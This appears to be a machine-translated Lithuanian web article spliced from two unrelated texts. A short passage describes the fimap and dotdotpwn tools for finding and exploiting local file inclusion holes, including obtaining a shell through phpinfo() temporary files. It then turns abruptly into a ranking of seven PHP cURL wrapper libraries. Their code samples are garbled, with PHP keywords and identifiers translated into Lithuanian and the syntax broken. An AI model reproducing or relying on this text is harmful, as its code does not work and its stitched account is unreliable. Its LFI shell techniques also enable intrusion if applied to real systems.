„fimap“ yra rašiklio bandymams naudojamas įrankis, kuris automatizuoja aukščiau nurodytus LFI scenarijų atradimo ir naudojimo procesus. Aptikęs pažeidžiamą LFI scenarijų, „fimap“ išvardins vietinę failų sistemą ir ieškos įrašomų žurnalo failų arba vietų, pvz., /proc/self/environ. Kitas įrankis, dažniausiai naudojamas rašiklio bandymuose, siekiant automatizuoti LFI atradimą, yra Kali dotdotpwn, kuris veikia panašiai.

fimap + phpinfo() Exploit

„Fimap“ išnaudoja PHP laikinųjų failų kūrimą per vietinį failų įtraukimą, piktnaudžiaudamas PHPinfo () informacijos atskleidimo trikdžiu, kad atskleistų sukurto laikinojo failo vietą.

Jei yra phpinfo () failas, paprastai galima gauti apvalkalą, jei nežinote phpinfo failo vietos, fimap gali jį ištirti arba galite naudoti tokį įrankį kaip OWASP DirBuster.

Tačiau kartais, atsižvelgiant į projekto dydį ar svarbą, jums reikia ne tokios bibliotekos, o tik cURL. Esmė ta, kad cURL su numatyta sintaksė gali būti nuobodu dirbti, todėl galbūt norėsite naudoti įvynioklis, kuris supaprastina daugelį užduočių ir palengvina užklausų vykdymą. Šiame viršuje norime su jumis pasidalinti 7 geriausiomis įpakavimo bibliotekomis, kurias galima naudoti cURL.

7. Curl by dcai

Šis paketas siūlo abstrakcijos sluoksnį, kuris supaprastina PHP cURL bibliotekos sintaksę:

$http = naujas dcai\curl; // įjungti talpyklą $http = new dcai\curl(array("cache"=>true)); // įjungti slapuką $http = new dcai\curl(array("cookie"=>true)); // įjungti tarpinį serverį $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"žodžiai", "vardas"=>"moodle")); // POST RAW $xml = " atlikti"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("failas"=>"/var/www/testas.txt");

6.CurlWrapper

CurlWrapper yra lanksti PHP cURL plėtinio įvyniojimo klasė. Galite lengvai inicijuoti bibliotekos egzempliorių naudodami:

Pabandykite ( $curl = new CurlWrapper(); ) sugauti (CurlWrapperException $e) ( echo $e->getMessage(); )

CurlWrapper objektas palaiko 5 tipų užklausas: HEAD, GET, POST, PUT ir DELETE. Turite nurodyti URL, kurį norite pateikti, ir pasirinktinai nurodyti asociatyvų masyvą arba užklausos kintamųjų eilutę, kurią norite siųsti kartu su juo:

$atsakymas = $curl->head($url, $params); $atsakymas = $curl->get($url, $params); $atsakymas = $curl->post($url, $params); $atsakymas = $curl->put($url, $params); $atsakymas = $curl->delete($url, $params);

5. Slenkantis cURLx

Rolling Curl yra paprastas naudoti cURL Multi vyniotuvas, skirtas PHP, turintis labai šaunų pavadinimą. Juo siekiama, kad vienu metu teikiamos http užklausos PHP programoje būtų kuo paprastesnės. Pirmiausia inicijuokite klasę su maksimaliu vienu metu norimų atidaryti užklausų skaičiumi:

$RCX = naujas RollingCurlX(10);

Visos po to pateiktos užklausos bus eilėje, kol bus baigta:

$url = "http://www.google.com/search?q=apples"; $post_data = ["vartotojas" => "bob", "token" => "dQw4w9WgXcQ"]; //nustatyti į NULL, jei nenaudojate POST $user_data = ["foo", $whatever]; $parinktys = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //kiek užtruko užklausa milisekundėmis (float) $request_info; //masyvas, grąžintas curl_getinfo($ch), plius pora priedų ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Siųsti prašymus. Blokuojama, kol visos užklausos bus įvykdytos arba pasibaigs skirtasis laikas:

$RCX->vykdyti();

4. PHP Curl

PHP Curl yra labai paprasta PHP curl vyniojimo klasė, skirta cURL. Anot autoriaus, ši klasė yra mažiausias įmanomas OOP įvyniotuvas, skirtas PHP garbanojimo galimybėms. Atminkite, kad tai nėra aukšto lygio abstrakcija. Vis tiek turėtumėte žinoti, kaip veikia „grynas PHP“ curl, turite žinoti Norėdami nustatyti garbanojimo parinktis, turite žinoti kai kuriuos HTTP pagrindus.

// newRequest, newJsonRequest ir newRawRequest grąžina užklausos objektą $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf" -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $atsakymas = $užklausa->siųsti();

3.Curl Easy

Curl Easy yra PHP cURL plėtinio įvynioklis. Palaiko lygiagrečias ir neblokuojančias užklausas. Tai maža, bet galinga ir tvirta biblioteka, kuri pagreitina darbą. Jei pavargote naudoti PHP cURL plėtinį su procedūrine sąsaja, bet taip pat norite kontroliuoti scenarijaus vykdymą, tai puikus pasirinkimas jums. Ši biblioteka:

  • plačiai išbandytas vienetas.
  • lengva biblioteka su vidutinio lygio sąsaja. Tai nėra „viskas viename“ biblioteka.
  • lygiagrečiai / asinchroniniai ryšiai su labai paprasta sąsaja.
  • užklausų pridėjimas / atjungimas lygiagrečiai vykdymo metu!
  • atgalinių skambučių palaikymas, kad galėtumėte valdyti vykdymo procesą.
  • intelektualūs nustatymai kaip alternatyva CURLOPT_* konstantoms.
  • jei žinote cURL php plėtinį, jums nereikia mokytis dalykų nuo pat pradžių

Jos sintaksę taip pat gana lengva suprasti:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $atsakymas = $užklausa->siųsti(); $feed = json_decode($response->getContent(), tiesa); echo "Dabartinė Bitcoin kaina: " . $feed["duomenys"]["norma"] . " ". $feed["duomenys"]["kodas"] . "\n";

2. Curl by Shuber

Curl biblioteka yra pagrindinis CURL įvyniotuvas, skirtas PHP. Curl objektas palaiko 5 tipų užklausas: HEAD, GET, POST, PUT ir DELETE. Turite nurodyti URL, kurį norite pateikti, ir pasirinktinai nurodyti asociatyvų masyvą arba kintamųjų eilutę, kurią norite siųsti kartu su juo. Tiesiog reikalaukite ir inicijuokite Curl klasę taip:

Require_once "curl.php"; $curl = naujas Garbanos; $atsakymas = $curl->head($url, $vars = masyvas()); $atsakymas = $curl->get($url, $vars = masyvas()); # Curl objektas pridės $vars masyvą prie $url kaip užklausos eilutę $response = $curl->post($url, $vars = array()); $atsakymas = $curl->put($url, $vars = masyvas()); $atsakymas = $curl->delete($url, $vars = masyvas());

1. PHP Curl Class

„PHP Curl Class“ yra labai gerai parašytas „cURL“ paketas, kuris labai palengvina HTTP užklausų siuntimą ir integravimą su bet kokio tipo žiniatinklio API. „PHP Curl Class“ veikia su PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1 ir HHVM. Ši biblioteka yra plačiai žinoma ir siūlo labai paprastą sintaksę:

Reikalauti __DIR__. "/vendor/autoload.php"; naudoti\Curl\Curl; $garbanoti = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Klaida: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Atsakymas:" . "\n"; var_dump($curl->response);

Jei žinote kitą nuostabią PHP plėtinio įpakavimo biblioteką, parašytą PHP, pasidalykite ja su bendruomene komentarų laukelyje.